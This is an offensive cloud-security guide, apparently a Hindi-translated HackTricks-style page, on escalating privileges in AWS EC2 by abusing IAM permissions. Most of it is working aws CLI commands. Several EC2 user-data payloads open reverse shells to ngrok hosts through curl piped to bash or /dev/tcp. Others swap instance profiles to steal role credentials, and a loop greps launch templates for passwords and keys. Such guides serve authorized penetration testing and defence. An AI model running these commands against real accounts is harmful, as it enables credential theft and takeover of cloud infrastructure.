AWS - EC2 Privesc

EC2

For more info about EC2 check:

iam:PassRole, ec2:RunInstances

An attacker could create and instance attaching an IAM role and then access the instance to steal the IAM role credentials from the metadata endpoint.

• SSH के माध्यम से पहुँचें

Run a new instance using a created ssh key (--key-name) and then ssh into it (if you want to create a new one you might need to have the permission ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>

• उपयोगकर्ता डेटा में रिव शेल के माध्यम से पहुंच

आप एक नया उदाहरण चला सकते हैं जो एक उपयोगकर्ता डेटा (--user-data) का उपयोग करेगा जो आपको एक रिव शेल भेजेगा। इस तरीके से आपको सुरक्षा समूह निर्दिष्ट करने की आवश्यकता नहीं है।

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

सावधान रहें GuradDuty के साथ यदि आप IAM भूमिका के क्रेडेंशियल्स का उपयोग करते हैं जो इंस्टेंस के बाहर हैं:

संभावित प्रभाव: किसी भी EC2 भूमिका में सीधे privesc जो मौजूदा इंस्टेंस प्रोफाइल से जुड़ी है।

ECS के लिए Privesc

इन अनुमतियों के सेट के साथ आप एक EC2 इंस्टेंस बना सकते हैं और इसे एक ECS क्लस्टर के अंदर पंजीकृत कर सकते हैं। इस तरह, ECS सेवाएँ EC2 इंस्टेंस के अंदर चलाई जाएंगी जहाँ आपके पास पहुँच है और फिर आप उन सेवाओं (डॉकर कंटेनरों) में प्रवेश कर सकते हैं और उनकी ECS भूमिकाएँ चुरा सकते हैं जो जुड़ी हुई हैं।

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

इस नए EC2 इंस्टेंस में ECS सेवाओं को चलाने के लिए मजबूर करने के लिए जानने के लिए देखें:

यदि आप नया इंस्टेंस नहीं बना सकते लेकिन आपके पास अनुमति ecs:RegisterContainerInstance है, तो आप क्लस्टर के अंदर इंस्टेंस को पंजीकृत कर सकते हैं और टिप्पणी की गई हमले को अंजाम दे सकते हैं।

संभावित प्रभाव: कार्यों से जुड़े ECS भूमिकाओं के लिए सीधे प्रिवेस्क।

iam:PassRole, iam:AddRoleToInstanceProfile

पिछले परिदृश्य के समान, इन अनुमतियों के साथ एक हमलावर एक समझौता किए गए इंस्टेंस की IAM भूमिका को बदल सकता है ताकि वह नए क्रेडेंशियल चुरा सके। चूंकि एक इंस्टेंस प्रोफ़ाइल में केवल 1 भूमिका हो सकती है, यदि इंस्टेंस प्रोफ़ाइल पहले से ही एक भूमिका रखती है (सामान्य मामला), तो आपको iam:RemoveRoleFromInstanceProfile की भी आवश्यकता होगी।

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

यदि इंस्टेंस प्रोफ़ाइल में एक भूमिका है और हमलावर इसे हटा नहीं सकता, तो एक और समाधान है। वह एक ऐसी इंस्टेंस प्रोफ़ाइल खोज सकता है जिसमें कोई भूमिका नहीं है या एक नई बना सकता है (iam:CreateInstanceProfile), उस भूमिका को उस इंस्टेंस प्रोफ़ाइल में जोड़ सकता है (जैसा कि पहले चर्चा की गई थी), और समझौता की गई इंस्टेंस प्रोफ़ाइल को एक समझौता की गई इंस्टेंस से जोड़ सकता है:

• यदि इंस्टेंस में कोई इंस्टेंस प्रोफ़ाइल नहीं है (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

संभावित प्रभाव: एक अलग EC2 भूमिका के लिए सीधे प्रिवेस्क (आपको एक AWS EC2 उदाहरण से समझौता करना होगा और कुछ अतिरिक्त अनुमति या विशिष्ट उदाहरण प्रोफ़ाइल स्थिति होनी चाहिए)।

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

इन अनुमतियों के साथ, एक उदाहरण से जुड़े उदाहरण प्रोफ़ाइल को बदलना संभव है, इसलिए यदि हमले ने पहले से ही एक उदाहरण तक पहुंच प्राप्त कर ली है, तो वह इससे जुड़े उदाहरण प्रोफ़ाइल भूमिकाओं के लिए क्रेडेंशियल चुराने में सक्षम होगा।

• यदि इसमें एक उदाहरण प्रोफ़ाइल है, तो आप हटा सकते हैं उदाहरण प्रोफ़ाइल (ec2:DisassociateIamInstanceProfile) और जोड़ सकते हैं इसे *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

• या बदले इंस्टेंस प्रोफ़ाइल को समझौता किए गए इंस्टेंस (ec2:ReplaceIamInstanceProfileAssociation) की। *

```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```

संभावित प्रभाव: एक अलग EC2 भूमिका के लिए सीधे प्रिवेस्क (आपको एक AWS EC2 उदाहरण को समझौता करना होगा और कुछ अतिरिक्त अनुमति या विशिष्ट उदाहरण प्रोफ़ाइल स्थिति होनी चाहिए)।

ec2:RequestSpotInstances,iam:PassRole

एक हमलावर जिसके पास अनुमतियाँ ec2:RequestSpotInstances और iam:PassRole हैं, वह एक स्पॉट उदाहरण अनुरोध कर सकता है जिसमें EC2 भूमिका संलग्न है और उपयोगकर्ता डेटा में रिव शेल है। एक बार जब उदाहरण चलाया जाता है, तो वह IAM भूमिका को चुरा सकता है।

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

एक हमलावर जिसके पास ec2:ModifyInstanceAttribute है, वह इंस्टेंस के गुणों को संशोधित कर सकता है। इनमें, वह उपयोगकर्ता डेटा को बदल सकता है, जिसका अर्थ है कि वह इंस्टेंस को मनमाने डेटा को चलाने के लिए बना सकता है। जिसका उपयोग EC2 इंस्टेंस के लिए एक रिवर्स शेल प्राप्त करने के लिए किया जा सकता है।

ध्यान दें कि गुण केवल तब संशोधित किए जा सकते हैं जब इंस्टेंस रुका हुआ हो, इसलिए अनुमतियाँ ec2:StopInstances और ec2:StartInstances।

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

संभावित प्रभाव: किसी भी EC2 IAM भूमिका पर सीधे प्रिवेस्क।

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

एक हमलावर जिसके पास अनुमतियाँ ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate और ec2:ModifyLaunchTemplate हैं, वह एक नया लॉन्च टेम्पलेट संस्करण बना सकता है जिसमें उपयोगकर्ता डेटा में rev shell और इस पर कोई भी EC2 IAM भूमिका हो, डिफ़ॉल्ट संस्करण को बदल सकता है, और कोई भी ऑटोस्केलर समूह जिसका उपयोग उस लॉन्च टेम्पलेट के लिए किया गया है जो नवीनतम या डिफ़ॉल्ट संस्करण का उपयोग करने के लिए कॉन्फ़िगर किया गया है, वह उस टेम्पलेट का उपयोग करके इंस्टेंस को फिर से चलाएगा और rev shell को निष्पादित करेगा।

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

संभावित प्रभाव: एक अलग EC2 भूमिका के लिए सीधे प्रिवेस्क।

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

एक हमलावर जिसके पास अनुमतियाँ autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole हैं, वह एक लॉन्च कॉन्फ़िगरेशन IAM भूमिका और यूजर डेटा के अंदर रिवर्स शेल के साथ बना सकता है, फिर उस कॉन्फ़िगरेशन से एक ऑटोस्केलिंग समूह बना सकता है और रिवर्स शेल का IAM भूमिका चुराने के लिए इंतज़ार कर सकता है।

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

संभावित प्रभाव: एक अलग EC2 भूमिका में सीधे प्रिवेस्क।

!autoscaling

अनुमतियों का सेट ec2:CreateLaunchTemplate और autoscaling:CreateAutoScalingGroup IAM भूमिका में प्रिविलेज बढ़ाने के लिए पर्याप्त नहीं है क्योंकि लॉन्च कॉन्फ़िगरेशन या लॉन्च टेम्पलेट में निर्दिष्ट भूमिका को संलग्न करने के लिए आपको अनुमतियों की आवश्यकता है iam:PassRole और ec2:RunInstances (जो एक ज्ञात प्रिवेस्क है)।

ec2-instance-connect:SendSSHPublicKey

एक हमलावर जिसके पास अनुमति है ec2-instance-connect:SendSSHPublicKey एक उपयोगकर्ता को ssh कुंजी जोड़ सकता है और इसका उपयोग करके उसे एक्सेस कर सकता है (यदि उसके पास इंस्टेंस पर ssh एक्सेस है) या प्रिविलेज बढ़ा सकता है।

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

संभावित प्रभाव: चल रहे उदाहरणों से जुड़े EC2 IAM भूमिकाओं के लिए सीधे प्रिवेस्क।

ec2-instance-connect:SendSerialConsoleSSHPublicKey

जिस हमलावर के पास अनुमति ec2-instance-connect:SendSerialConsoleSSHPublicKey है, वह एक धारावाहिक कनेक्शन में ssh कुंजी जोड़ सकता है। यदि धारावाहिक सक्षम नहीं है, तो हमलावर को इसे सक्षम करने के लिए अनुमति ec2:EnableSerialConsoleAccess की आवश्यकता होती है।

धारावाहिक पोर्ट से कनेक्ट करने के लिए आपको मशीन के अंदर एक उपयोगकर्ता का उपयोगकर्ता नाम और पासवर्ड जानना भी आवश्यक है।

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

यह तरीका privesc के लिए इतना उपयोगी नहीं है क्योंकि आपको इसे शोषण करने के लिए एक उपयोगकर्ता नाम और पासवर्ड जानना होगा।

संभावित प्रभाव: (अत्यधिक अप्रूव करने योग्य नहीं) चल रहे उदाहरणों से जुड़े EC2 IAM भूमिकाओं के लिए सीधे privesc।

describe-launch-templates,describe-launch-template-versions

चूंकि लॉन्च टेम्पलेट्स में संस्करण होते हैं, ec2:describe-launch-templates और ec2:describe-launch-template-versions अनुमतियों वाला एक हमलावर इनका उपयोग संवेदनशील जानकारी, जैसे उपयोगकर्ता डेटा में मौजूद क्रेडेंशियल्स, खोजने के लिए कर सकता है। इसे पूरा करने के लिए, निम्नलिखित स्क्रिप्ट उपलब्ध लॉन्च टेम्पलेट्स के सभी संस्करणों के माध्यम से लूप करती है:

for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

उपरोक्त कमांड में, हालांकि हम कुछ पैटर्न (aws_|password|token|api) निर्दिष्ट कर रहे हैं, आप अन्य प्रकार की संवेदनशील जानकारी के लिए खोजने के लिए एक अलग regex का उपयोग कर सकते हैं।

मान लेते हैं कि हम aws_access_key_id और aws_secret_access_key पाते हैं, हम इन क्रेडेंशियल्स का उपयोग AWS में प्रमाणीकरण के लिए कर सकते हैं।

संभावित प्रभाव: IAM उपयोगकर्ता(ओं) के लिए सीधे विशेषाधिकार वृद्धि।

संदर्भ

• https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/